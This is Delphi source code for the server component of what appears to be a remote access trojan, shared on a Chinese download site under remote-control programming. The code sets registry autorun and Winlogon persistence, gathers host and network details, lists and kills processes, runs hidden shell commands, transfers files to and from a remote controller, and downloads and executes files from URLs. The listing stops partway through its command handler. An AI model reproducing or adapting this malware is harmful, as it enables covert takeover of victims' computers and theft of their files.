Userver.pas
上传用户:sinothink
上传日期:2022-07-15
资源大小:459k
文件大小:35k
源码类别:

远程控制编程

开发平台:

Delphi

  1. {南域剑盟    www.98exe.com   上兴QQ:51992
  2.  声明:程序由南域剑盟98exe.com成员网上搜集,不承担技术及版权问题}
  3. {随便加了点注释,文件传输不详细注了,大家网上找相关资料看}
  4. unit UServer;
  5. interface
  6. uses
  7.   Windows, Messages, Winsock, Wininet, untCMDList, ShellApi, psApi, TLHelp32,
  8.     untHTTPDownload,SysUtils2,URsConst;
  9. const
  10.   version = '0.50B';
  11.   LF = #10;
  12.   CR = #13;
  13.   EOL = CR + LF;
  14.   { host          : string = '127.0.0.1';
  15.    password      : string = 'shj';
  16.    port          : integer = 80;
  17.    }
  18.   {文件属性常量}
  19.   faReadOnly = $00000001; //只读文件
  20.   faHidden = $00000002; //隐藏文件
  21.   faSysFile = $00000004; // 系统文件
  22.   faVolumeID = $00000008; // 卷标文件
  23.   faDirectory = $00000010; // 目录
  24.   faArchive = $00000020; //归档文件
  25.   faAnyFile = $0000003F; // 任意文件
  26.   ERROR_DISCONNECT      = 01;    // If server (remote connection disconnects)
  27.   ERROR_FAIL            = 02;    // If server or client fails. Socket failures.
  28.   ERROR_CONNECT         = 03;    // If client cant connect to server or reverse.
  29.   ERROR_LISTEN          = 04;    // If server cant listen on choosen port.
  30.   ERROR_ACCEPT          = 05;    // If server cant accept socket.
  31.   ERROR_BREAK           = 06;    // If breaking from something.
  32.   ERROR_LOSTCONNECTION  = 07;    // If server dies of some reason.
  33.   ERROR_BIND            = 08;
  34.   SUCCESS_CONNECT       = 09;    // Connection established without problems.
  35.   SUCCESS_FINISHED      = 10;    // Finished sending file without problems.
  36.   SUCCESS_ACCEPT        = 11;    // Accepted remote connection fine.
  37. type
  38.   TFileName = type string; //文件
  39.   TSearchRec = record
  40.     Time: Integer;
  41.     Size: Integer;
  42.     Attr: Integer;
  43.     Name: TFileName;
  44.     ExcludeAttr: Integer;
  45.     FindHandle: THandle;
  46.     FindData: TWin32FindData;
  47.   end;
  48.   LongRec = packed record
  49.     case Integer of
  50.       0: (Lo, Hi: Word);
  51.       1: (Words: array[0..1] of Word);
  52.       2: (Bytes: array[0..3] of Byte);
  53.   end;
  54.   TInfo = record
  55.     Name: string;
  56.     Host: string;
  57.     Port: Integer;
  58.     Size: Integer;
  59.   end;
  60.   PInfo = ^TInfo;
  61.   RemoteSock = Record
  62.     Sock: TSocket;
  63.     Count: Integer;
  64.   End;
  65.   rSock = ^RemoteSock;
  66.   TServer = class(TObject)
  67.   private
  68.     Sock: TSocket;
  69.     Addr: TSockAddrIn;
  70.     WSA: TWSAData;
  71.     TempSock    :TSocket;                 //srv
  72.     Remote      :TSockAddr;               //srv
  73.     Len         :Integer;                 //srv
  74.     BlockList   :Array[0..99] Of String;  //srv
  75.   public
  76.     SocketList  :Array[0..99] Of TSocket; //srv
  77.     Port        :Integer;                 //srv
  78.     Count       :Integer;                 //srv
  79.     ReturnError :Integer;                 //srv
  80.     Function Listen: Integer;
  81.     Function AcceptNew(SSock: TSocket): Integer;            //srv
  82.     Function GetFreeHandle(VAR Int: Integer): Integer;      //srv
  83.     Function ReCount: Integer;
  84.     Function Disconnect(dAddress, dPort: String): Boolean;  //srv
  85.     Procedure ResolveStatus(Int: Integer);
  86.     procedure Connect;
  87.     procedure SendData(Text: string);
  88.     function GetNet: string;
  89.   end;
  90. var
  91.   Serv: TServer;
  92.   PieZhi:TRedCtrl;
  93.   ConFile:string;
  94.   Info: TInfo;
  95.   Port: Integer;
  96.   Close: Boolean;
  97.   LastDir: string;
  98.   Host: string;
  99.   Password: string;
  100.   HandleList: Array[0..99] Of THandle;
  101.   rSocket: RemoteSock;
  102.   //判断网络是否链接--------------------------------------------
  103. function InternetGetConnectedStateEx(
  104.   lpdwFlags: LPDWORD;
  105.   lpszConnectionName: LPTSTR;
  106.   dwNameLen: DWORD;
  107.   dwReserved: DWORD): BOOL; stdcall;
  108. external 'wininet.dll' name 'InternetGetConnectedStateEx';
  109. procedure miniratMain;stdcall;
  110. implementation
  111. procedure SetRegValue(ROOT: hKey; Path, Value, Str: string);
  112. var
  113.   Key: hKey;
  114.   Size: Cardinal;
  115. begin
  116.   RegOpenKey(ROOT, pChar(Path), Key); //打开给定键
  117.   Size := 2048;
  118.   RegSetValueEx(Key, pChar(Value), 0, REG_SZ, @Str[1], Size); //写注册表
  119.   RegCloseKey(Key); //释放
  120. end;
  121. procedure SetDelValue(ROOT: hKey; Path, Value: string);
  122. var
  123.   Key: hKey;
  124.   Size: Cardinal;
  125. begin
  126.   RegOpenKey(ROOT, pChar(Path), Key);
  127.   Size := 2048;
  128.   RegDeleteValue(Key, pChar(Value));
  129.   RegCloseKey(Key);
  130. end;
  131. //写入注册表-----------------------------------------------
  132. procedure Uninstall;
  133. begin
  134.   SetDelValue(HKEY_LOCAL_MACHINE,
  135.     'SoftwareMicrosoftWindowsCurrentVersionRun', dRegName);
  136.   SetDelValue(HKEY_CURRENT_USER,
  137.     'SoftwareMicrosoftWindowsCurrentVersionRun', dRegName);
  138.   SetRegValue(HKEY_LOCAL_MACHINE,
  139.     'SoftwareMicrosoft NTWindowsCurrentVersionWinlogon', 'Shell',
  140.     'Explorer.exe');
  141.   ExitProcess(0);
  142. end;
  143. function Enumeration(dRes: PNetResource; dI: Integer): string;
  144. var
  145.   dHandle: THandle;
  146.   K: DWord;
  147.   BufferSize: DWord;
  148.   Buffer: array[0..1023] of TNetResource;
  149.   I: Word;
  150.   Temp: string;
  151. begin
  152.   WNetOpenEnum(2, 0, 0, dRes, dHandle);
  153.   K := 1024; //  大小为1024
  154.   BufferSize := SizeOf(Buffer); //获得盘
  155.   while (WNetEnumResource(dHandle, K, @Buffer, BufferSize) = 0) do //获得资源
  156.     for I := 0 to K - 1 do
  157.     begin
  158.       if (Buffer[I].dwDisplayType = RESOURCEDISPLAYTYPE_SERVER) then
  159.         //显示类型为服务器(工作组)
  160.       begin
  161.         Temp := IntToStr(C_INFONETWORK) + ' ' + pChar(Buffer[I].lpRemoteName) +
  162.           ' "' + pChar(Buffer[I].lpComment) + '"'#10;
  163.         if (Pos(Temp, Result) = 0) then
  164.           Result := Result + Temp;
  165.       end;
  166.       if (Buffer[I].dwUsage > 0) then
  167.       begin
  168.         Temp := Enumeration(@Buffer[I], 1);
  169.         if (Pos(Temp, Result) = 0) then
  170.           Result := Result + Temp;
  171.       end;
  172.     end;
  173.   WNetCloseEnum(dHandle); // 获取所有目录
  174. end;
  175. function GetNetworkInfo: string;
  176. begin
  177.   Result := IntToStr(C_INFONETWORK) + ' Domains Comments'#10 +
  178.     Enumeration(nil, 0);
  179. end;
  180. //尾部加入资源,版本,地址,密码,端口------------------
  181. function GetServerInfo: string;
  182. begin
  183.   Result := IntToStr(C_INFOSERVER) + ' Version ' + Version + #10 +
  184.     IntToStr(C_INFOSERVER) + ' RmtAddr ' + PieZhi.dDnsHost + #10 +
  185.     IntToStr(C_INFOSERVER) + ' Password ' + PieZhi.dPass + #10 +
  186.     IntToStr(C_INFOSERVER) + ' SrvPort ' + PieZhi.dLocalPort + #10 +
  187.     IntToStr(C_INFOSERVER) + ' RmtPort ' + PieZhi.dRemotePort + #10;
  188. end;
  189. //记录-----
  190. function GetInformation: string;
  191. var
  192.   HostName: array[0..069] of Char;
  193.   Sysdir: array[0..255] of Char;
  194.   MemoryStatus: TMemoryStatus;
  195.   Total: Integer;
  196. begin
  197.   GetHostName(HostName, SizeOf(HostName));
  198.   GetSystemDirectory(Sysdir, 256);
  199.   MemoryStatus.dwLength := SizeOf(TMemoryStatus);
  200.   GlobalMemoryStatus(MemoryStatus);
  201.   Total := GetTickCount() div 1000;
  202.   Result := IntToStr(C_INFOSYSTEM) + ' Hostname ' + Hostname + #10 +
  203.     IntToStr(C_INFOSYSTEM) + ' System ' + string(SysDir) + #10 +
  204.     IntToStr(C_INFOSYSTEM) + ' Memory(Total) ' +
  205.       IntToStr(MemoryStatus.dwTotalPhys div 1048576) + ' MB Total'#10 +
  206.     IntToStr(C_INFOSYSTEM) + ' Memory(Free) ' + IntToStr(MemoryStatus.dwAvailPhys
  207.       div 1048576) + ' MB Free'#10 +
  208.     IntToStr(C_INFOSYSTEM) + ' Memory(Used) ' +
  209.       IntToStr(MemoryStatus.dwMemoryLoad) + '% In Use'#10 +
  210.     IntToStr(C_INFOSYSTEM) + ' Uptime ' + IntToStr(Total div 86400) + ' days ' +
  211.     IntToStr((Total mod 86400) div 3600) + ' hours ' +
  212.     IntToStr(((Total mod 86400) mod 3600) div 60) + ' min ' +
  213.     IntToStr((((Total mod 86400) mod 3600) mod 60) div 1) + ' sec'#10;
  214. end;
  215. //检查本机网络状态---------------------
  216. function TServer.GetNet: string;
  217. var
  218.   W: DWord;
  219.   Name: array[0..128] of Char;
  220. begin
  221.   FillChar(Name, SizeOf(Name), 0);
  222.   InternetGetConnectedStateEx(@W, Name, 128, 0); //检查连接internet状态
  223.   if (W and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
  224.     Result := 'LAN (' + string(Name) + ')'
  225.   else
  226.     Result := 'Dial-Up (' + string(Name) + ')';
  227. end;
  228. // Send Data
  229. function SendData(Sock: TSocket; Text: string; var sByte: Cardinal): Integer;
  230. var
  231.   Len: Integer;
  232. begin
  233.   Result := Length(Text);
  234.   Len := Send(Sock, Text[1], Length(Text), 0);
  235.   Inc(sByte, Len);
  236. end;
  237. //下面基本都是功能了,文件的操作等
  238. procedure StripOutCmd(Text: string; var Cmd: string);
  239. begin Cmd := Copy(Text, 1, Pos(' ', Text) - 1);
  240. end;
  241. procedure StripOutParam(Text: string; var Param: array of string);
  242. var
  243.   I: Word;
  244. begin
  245.   if Text = '' then Exit;
  246.   FillChar(Param, SizeOf(Param), 0);
  247.   Delete(Text, 1, Pos(' ', Text));
  248.   if Text = '' then Exit;
  249.   if (Text[Length(Text)] <> ' ') then Text := Text + ' ';
  250.   I := 0;
  251.   while (Pos(' ', Text) > 0) do
  252.   begin
  253.     Param[I] := Copy(Text, 1, Pos(' ', Text) - 1);
  254.     Inc(I);
  255.     Delete(Text, 1, Pos(' ', Text));
  256.     if (I >= 100) then Break;
  257.   end;
  258. end;
  259. //   传递文件
  260. function RecvFile(P: Pointer): DWord; STDCALL;
  261. var
  262.   Sock: TSocket;
  263.   Addr: TSockAddrIn;
  264.   WSA: TWSAData;
  265.   BytesRead: Cardinal;
  266.   F: file;
  267.   Buf: array[0..8192] of Char;
  268.   dErr: Integer;
  269.   Name: string;
  270.   Host: string;
  271.   Port: Integer;
  272.   Size: Integer;
  273.   T: string;
  274. begin
  275.   Name := PInfo(P)^.Name;
  276.   Host := PInfo(P)^.Host;
  277.   Port := PInfo(P)^.Port;
  278.   Size := PInfo(P)^.Size;
  279.   WSAStartUp($0101, WSA);
  280.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  281.   Addr.sin_family := AF_INET;
  282.   Addr.sin_port := hTons(Port);
  283.   Addr.sin_addr.S_addr := inet_Addr(pchar(Host));
  284.   if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;
  285.   {$I-}
  286.   T := 'ok';
  287.   AssignFile(F, Name);
  288.   Rewrite(F, 1);
  289.   repeat
  290.     FillChar(Buf, SizeOf(Buf), 0);
  291.     dErr := Recv(Sock, Buf, SizeOf(Buf), 0);
  292.     if (dErr > 0) then
  293.       BlockWrite(F, Buf, dErr)
  294.     else
  295.       Break;
  296.     Dec(Size, dErr);
  297.     dErr := Send(Sock, T[1], Length(T), 0);
  298.   until Size <= 0;
  299.   CloseFile(F);
  300.   {$I+}
  301.   WSACleanUp();
  302. end;
  303. //定时检测
  304. function SendFile(P: Pointer): DWord; STDCALL;
  305. var
  306.   Sock: TSocket;
  307.   Addr: TSockAddrIn;
  308.   WSA: TWSAData;
  309.   BytesRead: Cardinal;
  310.   F: file;
  311.   Buf: array[0..8192] of Char;
  312.   dErr: Integer;
  313.   Name: string;
  314.   Host: string;
  315.   Port: Integer;
  316.   T: string;
  317. begin
  318.   Name := PInfo(P)^.Name;
  319.   Host := PInfo(P)^.Host;
  320.   Port := PInfo(P)^.Port;
  321.   WSAStartUp($0101, WSA);
  322.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  323.   Addr.sin_family := AF_INET;
  324.   Addr.sin_port := hTons(Port);
  325.   Addr.sin_addr.S_addr := inet_Addr(pchar(Host));
  326.   if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;
  327.   {$I-}
  328.   T := 'ok';
  329.   AssignFile(F, Name);
  330.   Reset(F, 1);
  331.   repeat
  332.     BlockRead(F, Buf, SizeOf(Buf), BytesRead);
  333.     if (BytesRead = 0) then Break;
  334.     Send(Sock, Buf[0], SizeOf(Buf), 0);
  335.     FillChar(Buf, SizeOf(Buf), 0);
  336.     Recv(Sock, Buf, SizeOf(Buf), 0);
  337.   until BytesRead = 0;
  338.   CloseFile(F);
  339.   {$I+}
  340.   WSACleanUp();
  341. end;
  342. //取回的文件大小 ------------------------------
  343. function GetFileSize(FileName: string): Int64;
  344. var
  345.   H: THandle;
  346.   Data: TWIN32FindData;
  347. begin
  348.   Result := -1;
  349.   H := FindFirstFile(pChar(FileName), Data);
  350.   if (H <> INVALID_HANDLE_VALUE) then
  351.   begin
  352.     Windows.FindClose(H);
  353.     Result := Int64(Data.nFileSizeHigh) shl 32 + Data.nFileSizeLow;
  354.   end;
  355. end;
  356. //将IP解释成主机名
  357. function RemoteAddr(Sock: TSocket): TSockAddrIn;
  358. var
  359.   W: TWSAData;
  360.   S: TSockAddrIn;
  361.   I: Integer;
  362. begin
  363.   WSAStartUP($0101, W);
  364.   I := SizeOf(S);
  365.   GetPeerName(Sock, S, I);
  366.   WSACleanUP();
  367.   Result := S;
  368. end;
  369. function RemoteAddress(Sock: TSocket): string;
  370. begin
  371.   Result := INET_NTOA(RemoteAddr(Sock).sin_addr);
  372. end;
  373. function FindMatchingFile(var F: TSearchRec): Integer;
  374. var
  375.   LocalFileTime: TFileTime; //文件创建的时间
  376. begin
  377.   with F do
  378.   begin
  379.     while FindData.dwFileAttributes and ExcludeAttr <> 0 do
  380.       if not FindNextFile(FindHandle, FindData) then
  381.       begin
  382.         Result := GetLastError;
  383.         Exit;
  384.       end;
  385.     FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
  386.     FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo);
  387.     Size := FindData.nFileSizeLow;
  388.     Attr := FindData.dwFileAttributes;
  389.     Name := FindData.cFileName;
  390.   end;
  391.   Result := 0;
  392. end;
  393. procedure FindClose(var F: TSearchRec);
  394. begin
  395.   if F.FindHandle <> INVALID_HANDLE_VALUE then
  396.   begin
  397.     Windows.FindClose(F.FindHandle);
  398.     F.FindHandle := INVALID_HANDLE_VALUE;
  399.   end;
  400. end;
  401. function FindFirst(const Path: string; Attr: Integer;
  402.   var F: TSearchRec): Integer;
  403. const
  404.   faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
  405. begin
  406.   F.ExcludeAttr := not Attr and faSpecial;
  407.   F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
  408.   if F.FindHandle <> INVALID_HANDLE_VALUE then
  409.   begin
  410.     Result := FindMatchingFile(F);
  411.     if Result <> 0 then FindClose(F);
  412.   end
  413.   else
  414.     Result := GetLastError;
  415. end;
  416. function FindNext(var F: TSearchRec): Integer;
  417. begin
  418.   if FindNextFile(F.FindHandle, F.FindData) then
  419.     Result := FindMatchingFile(F)
  420.   else
  421.     Result := GetLastError;
  422. end;
  423. //找到的是个目录而不是文件...
  424. procedure GenerateList(ASock: TSocket; Dir: string; dNr: Integer);
  425. var
  426.   SR: TSearchRec;
  427.   Temp: string;
  428.   Att: string;
  429. begin
  430.   if (Dir = '') then Exit;
  431.   if (Dir[Length(Dir)] <> '') then Dir := Dir + '';
  432.   if FindFirst(Dir + '*.*', faDirectory or faHidden or faSysFile or faVolumeID or
  433.     faArchive or faAnyFile, SR) = 0 then
  434.     repeat
  435.       if ((SR.Attr and faDirectory) = faDirectory) then
  436.       begin
  437.         Temp := IntToStr(C_REQUESTLIST) + ' DIR 0 ' + SR.Name + #10;
  438.         if (dNr = 1) then
  439.           Send(ASock, Temp[1], Length(Temp), 0);
  440.       end
  441.       else
  442.       begin
  443.         Att := '';
  444.         if ((SR.Attr and faReadOnly) = faReadOnly) then
  445.           Att := Att + 'ReadOnly/';
  446.         if ((SR.Attr and faHidden) = faHidden) then Att := Att + 'Hidden/';
  447.         if ((SR.Attr and faSysFile) = faSysFile) then Att := Att + 'SysFile/';
  448.         if ((SR.Attr and faVolumeID) = faVolumeID) then
  449.           Att := Att + 'VolumeID/';
  450.         if ((SR.Attr and faArchive) = faArchive) then Att := Att + 'Archive/';
  451.         if ((SR.Attr and faAnyFile) = faAnyFile) then Att := Att + 'AnyFile/';
  452.         if Copy(Att, length(Att), 1) = '/' then
  453.           Delete(Att, Length(Att), 1);
  454.         Temp := IntToStr(C_REQUESTLIST) + ' ' + Att + ' ' + IntToStr(SR.Size) +
  455.           ' ' + SR.Name + #10;
  456.         if (dNr = 2) then
  457.           Send(ASock, Temp[1], Length(Temp), 0);
  458.       end;
  459.     until FindNext(SR) <> 0;
  460. end;
  461. procedure CvtInt;
  462. asm
  463.        OR      CL,CL
  464.        JNZ     @CvtLoop
  465. @C1:    OR      EAX,EAX
  466.        JNS     @C2
  467.        NEG     EAX
  468.        CALL    @C2
  469.        MOV     AL,'-'
  470.        INC     ECX
  471.        DEC     ESI
  472.        MOV     [ESI],AL
  473.        RET
  474. @C2:    MOV     ECX,10
  475. @CvtLoop:
  476.        PUSH    EDX
  477.        PUSH    ESI
  478. @D1:    XOR     EDX,EDX
  479.        DIV     ECX
  480.        DEC     ESI
  481.        ADD     DL,'0'
  482.        CMP     DL,'0'+10
  483.        JB      @D2
  484.        ADD     DL,('A'-'0')-10
  485. @D2:    MOV     [ESI],DL
  486.        OR      EAX,EAX
  487.        JNE     @D1
  488.        POP     ECX
  489.        POP     EDX
  490.        SUB     ECX,ESI
  491.        SUB     EDX,ECX
  492.        JBE     @D5
  493.        ADD     ECX,EDX
  494.        MOV     AL,'0'
  495.        SUB     ESI,EDX
  496.        JMP     @z
  497. @zloop: MOV     [ESI+EDX],AL
  498. @z:     DEC     EDX
  499.        JNZ     @zloop
  500.        MOV     [ESI],AL
  501. @D5:
  502. end;
  503. function IntToHex(Value: Integer; Digits: Integer): string;
  504. asm
  505.        CMP     EDX, 32
  506.        JBE     @A1
  507.        XOR     EDX, EDX
  508. @A1:    PUSH    ESI
  509.        MOV     ESI, ESP
  510.        SUB     ESP, 32
  511.        PUSH    ECX
  512.        MOV     ECX, 16
  513.        CALL    CvtInt
  514.        MOV     EDX, ESI
  515.        POP     EAX
  516.        CALL    System.@LStrFromPCharLen
  517.        ADD     ESP, 32
  518.        POP     ESI
  519. end;
  520. //列出进程 + 列出模块 (查看PID, 线程, 模块)
  521. procedure ListProcess(ASock: TSocket;dInt: Integer);
  522. var
  523.   CB: DWord;
  524.   hMod_: HMODULE;
  525.   hMod: array[0..300] of HMODULE;
  526.   hProcess: THandle;
  527.   hModule: THandle;
  528.   hSnapShot: THandle;
  529.   ProcessName: array[0..300] of Char;
  530.   ModuleName: array[0..300] of Char;
  531.   ProcessEntry: TProcessEntry32;
  532.   Done: Boolean;
  533.   Temp: string;
  534.   Mods: Integer;
  535.   I: Word;
  536.   B: array[0..9] of Char;
  537. begin
  538.   hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  539.   ProcessEntry.dwSize := SizeOf(ProcessEntry);
  540.   Done := Process32First(hSnapShot, ProcessEntry);
  541.   while Done do
  542.   begin
  543.     hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False,
  544.       ProcessEntry.th32ProcessID);
  545.     if (hProcess <> 0) then
  546.     begin
  547.       EnumProcessModules(hProcess, @hMod_, SizeOf(hMod_), CB);
  548.       GetModuleFileNameExA(hProcess, hMod_, ProcessName, SizeOf(ProcessName));
  549.       if (Pos('', ProcessName) > 0) then
  550.       begin
  551.         Temp := IntToStr(C_PROCESSLIST) + ' ' +
  552.           IntToStr(ProcessEntry.cntThreads) + ' ' +
  553.           IntToStr(ProcessEntry.th32ProcessID) + ' ' +
  554.           IntToHex(ProcessEntry.th32ProcessID, 8) + ' ' +
  555.           ProcessName + #10;
  556.         Send(ASock, Temp[1], Length(Temp), 0);
  557.         if (Recv(ASock, B[0], SizeOf(B), 0) <= 0) then
  558.         begin
  559.           CloseHandle(hProcess);
  560.           CloseHandle(hSnapShot);
  561.           Exit;
  562.         end;
  563.         if (dInt = 1) then
  564.         begin
  565.           EnumProcessModules(hProcess, @hMod, SizeOf(hMod), CB);
  566.           Mods := CB div SizeOf(HMODULE);
  567.           Temp := '';
  568.           for I := 0 to Mods do
  569.           begin
  570.             GetModuleFilenameExA(hProcess, hMod[I], ModuleName,
  571.               SizeOf(ModuleName));
  572.             Temp := IntToStr(C_MODULELIST) + ' ' +
  573.               IntToStr(ProcessEntry.th32ProcessID) + ' ' +
  574.               ExtractFileName(ProcessName) + #1' ' +
  575.               ModuleName + #10;
  576.             Send(ASock, Temp[1], Length(Temp), 0);
  577.             if (Recv(ASock, B[0], SizeOf(B), 0) <= 0) then
  578.             begin
  579.               CloseHandle(hProcess);
  580.               CloseHandle(hSnapShot);
  581.               Exit;
  582.             end;
  583.           end;
  584.         end;
  585.       end;
  586.       CloseHandle(hProcess);
  587.     end;
  588.     Done := Process32Next(hSnapshot, ProcessEntry);
  589.   end;
  590.   CloseHandle(hSnapShot);
  591. end;
  592. procedure EndProcess(ASock: TSocket;dPID: string);
  593. var
  594.   ProcessHandle: THandle;
  595.   ReturnValue: Boolean;
  596.   Temp: string;
  597. begin
  598.   ProcessHandle := OpenProcess(PROCESS_TERMINATE, BOOL(0), StrToInt(dPID));
  599.   ReturnValue := TerminateProcess(ProcessHandle, 0);
  600.   if (not ReturnValue) then
  601.     Temp := IntToStr(C_ENDPROCESS) + ' ' + dPID + ' 0'#10
  602.   else
  603.     Temp := IntToStr(C_ENDPROCESS) + ' ' + dPID + ' 1'#10;
  604.   Send(ASock, Temp[1], Length(Temp), 0);
  605. end;
  606. function RunDosInCap(DosApp: string): string;
  607. const
  608.   ReadBuffer = 24000;
  609. var
  610.   Security: TSecurityAttributes;
  611.   ReadPipe, WritePipe: THandle;
  612.   start: TStartUpInfo;
  613.   ProcessInfo: TProcessInformation;
  614.   Buffer: Pchar;
  615.   BytesRead, Apprunning: DWord;
  616. begin
  617.   with Security do
  618.   begin
  619.     nlength := SizeOf(TSecurityAttributes);
  620.     binherithandle := true;
  621.     lpsecuritydescriptor := nil;
  622.   end;
  623.   if Createpipe(ReadPipe, WritePipe, @Security, 0) then
  624.   begin
  625.     Buffer := AllocMem(ReadBuffer + 1);
  626.     FillChar(Start, Sizeof(Start), #0);
  627.     start.cb := SizeOf(start);
  628.     start.hStdOutput := WritePipe;
  629.     start.hStdInput := ReadPipe;
  630.     start.dwFlags := STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
  631.     start.wShowWindow := SW_HIDE;
  632.     if CreateProcess(nil, PChar(DosApp), @Security, @Security, true,
  633.       NORMAL_PRIORITY_CLASS, nil, nil, start, ProcessInfo) then
  634.     begin
  635.       repeat
  636.         Apprunning := WaitForSingleObject(ProcessInfo.hProcess, 100);
  637.       until (Apprunning <> WAIT_TIMEOUT);
  638.       repeat
  639.         BytesRead := 0;
  640.         ReadFile(ReadPipe, Buffer[0], ReadBuffer, BytesRead, nil);
  641.         Buffer[BytesRead] := #0;
  642.         OemToAnsi(Buffer, Buffer);
  643.         Result := Result + string(Buffer);
  644.       until (BytesRead < ReadBuffer);
  645.     end;
  646.     FreeMem(Buffer);
  647.     CloseHandle(ProcessInfo.hProcess);
  648.     CloseHandle(ProcessInfo.hThread);
  649.     CloseHandle(ReadPipe);
  650.     CloseHandle(WritePipe);
  651.   end;
  652. end;
  653. procedure ReplaceStr(ReplaceWord, WithWord: string; var Text: string);
  654. var
  655.   xPos: Integer;
  656. begin
  657.   while Pos(ReplaceWord, Text) > 0 do
  658.   begin
  659.     xPos := Pos(ReplaceWord, Text);
  660.     Delete(Text, xPos, Length(ReplaceWord));
  661.     Insert(WithWord, Text, xPos);
  662.   end;
  663. end;
  664. //文件传递
  665. procedure ReceiveData(AP: Pointer);STDCALL;
  666. var
  667.   Buffer: array[0..1600] of Char;
  668.   Data: string;
  669.   Time: TTimeVal;
  670.   FDS: TFDSet;
  671.   D: Dword;
  672.   Len: Integer;
  673.   Port: Integer;
  674.   Temp: string;
  675.   Cmd: string;
  676.   Param: array[0..100] of string;
  677.   P: Integer;
  678.   FName: string;
  679.   LSock: TSocket;
  680.   Count: Integer;
  681.   rByte: Cardinal;
  682.   sByte: Cardinal;
  683. begin
  684.   LSock := rSock(AP)^.Sock;
  685.   Count := rSock(AP)^.Count;
  686. //  Address := RemoteAddress(Sock);
  687. //  Port := RemotePort(Sock);
  688.   rByte := 0;
  689.   sByte := 0;
  690.   repeat
  691.     Time.tv_sec := 120;
  692.     Time.tv_usec := 0;
  693.     FD_ZERO(FDS);
  694.     FD_SET(LSock, FDS);
  695.     if Select(0, @FDS, nil, nil, @TIME) <= 0 then Break;
  696.     Len := Recv(LSock, Buffer, 1600, 0);
  697.     if (Len <= 0) then Break;
  698.     Data := string(Buffer);
  699.     ZeroMemory(@Buffer, SizeOf(Buffer));
  700.     while (Pos(#10, Data) > 0) do
  701.     begin
  702.       Temp := Copy(Data, 1, Pos(#10, Data) - 1);
  703.       Delete(Data, 1, Pos(#10, Data));
  704.       StripOutCmd(Temp, Cmd);
  705.       StripOutParam(Temp, Param);
  706.       case StrToInt(Cmd) of
  707.         C_DOWNLOAD:
  708.           begin
  709.             Temp := IntToStr(C_DOWNLOAD) + ' ' + ExecuteFileFromURL(Param[0],
  710.               Copy(Temp, Pos(Param[1], Temp), Length(Temp)));
  711.             Send(LSock, Temp[1], Length(Temp), 0);
  712.             Sleep(2000);
  713.             ExitProcess(0);
  714.           end;
  715.         C_UNINSTALL: Uninstall;
  716.         C_PASS: If (Param[0] <> Password) Then
  717.                 Begin
  718.                   SendData(LSock, '01 0'#10, sByte); //密码不正确
  719.                   CloseSocket(LSock);
  720.                   Break;
  721.                 End Else
  722.                   SendData(LSock, '01 1'#10, sByte); //密码正确
  723.         C_GETFILE:
  724.           begin
  725.             Delete(Temp, 1, 2);
  726.             if (FileExists(Temp)) then
  727.             begin
  728.               FName := ExtractFileName(Temp);
  729.               repeat
  730.                 P := Pos(#32, FName);
  731.                 Delete(FName, P, 1);
  732.                 Insert('_', FName, P);
  733.               until (Pos(#32, FName) = 0);
  734.               Port := ((Random(9) + 1) * 1000) + Random(500);
  735.               SendData(LSock,IntToStr(C_STARTTRANSFER)+' 0 '+IntToStr(GetFileSize(Temp))+' '+IntToStr(Port)+' '+FName+#10,sByte);
  736.               Info.Name := Temp;
  737.               Info.Host := RemoteAddress(LSock);
  738.               Info.Port := Port;
  739.               CreateThread(nil, 0, @SendFile, @Info, 0, D);
  740.             end;
  741.           end;
  742.         C_PUTFILE:
  743.           begin
  744.             (* C_PUTFILE size NewName#1 OldName *)
  745.             Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
  746.             FName := Copy(Temp, Pos(#1, Temp) + 2, Length(Temp));
  747.             Temp := Copy(Temp, 1, Pos(#1, Temp) - 1);
  748.             Port := ((Random(9) + 1) * 1000) + Random(500);
  749.             SendData(LSock,IntToStr(C_STARTTRANSFER) + ' 1 ' + Param[0] + ' ' +
  750.               IntToStr(Port) + ' ' + FName + #10,sByte);
  751.             Info.Name := Temp;
  752.             Info.Host := RemoteAddress(LSock);
  753.             Info.Port := Port;
  754.             Info.Size := StrToInt(Param[0]);
  755.             CreateThread(nil, 0, @RecvFile, @Info, 0, D);
  756.           end;
  757.         C_INFOSYSTEM: SendData(LSock,GetInformation(),sByte);
  758.         C_INFOSERVER: SendData(Lsock,GetServerInfo(),sByte);
  759.         C_INFONETWORK: SendData(LSock,GetNetworkInfo(),sByte);
  760.         C_REQUESTDRIVE:
  761.           begin
  762.             SetLength(Temp, 300);
  763.             GetLogicalDriveStrings(300, pChar(Temp));
  764.             while (Pos(#0, Temp) > 0) and (pos('',temp)>0) and (Pos(':',Temp)>0) do
  765.             begin
  766.               FName := IntToStr(C_REQUESTDRIVE) + ' ' + Copy(Temp, 1, Pos(#0,
  767.                 Temp) - 1) + #10;
  768.               Temp := Copy(Temp, Pos(#0, Temp) + 1, Length(Temp));
  769.               Send(LSock, FName[1], Length(FName), 0);
  770.               FName := '';
  771.             end;
  772.           end;
  773.         C_REQUESTLIST:
  774.           begin
  775.             Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
  776.             GenerateList(LSock, Temp, 1);
  777.             GenerateList(LSock,Temp, 2);
  778.             LastDir := IntToStr(C_CURRENTPATH) + ' ' + Temp;
  779.             if LastDir <> '' then
  780.               if (LastDir[Length(LastDir)] <> '') then
  781.                 LastDir := LastDir + '';
  782.             LastDir := LastDir + #10;
  783.           end;
  784.         C_CURRENTPATH: Send(LSock, LastDir[1], Length(LastDir), 0);
  785.         C_EXECUTE:
  786.           begin
  787.             Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
  788.             ShellExecute(0, 'open', pChar(Temp), nil, nil, StrToInt(Param[0]));
  789.           end;
  790.         C_DELETE:
  791.           begin
  792.             Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
  793.             DeleteFile(pChar(Temp));
  794.           end;
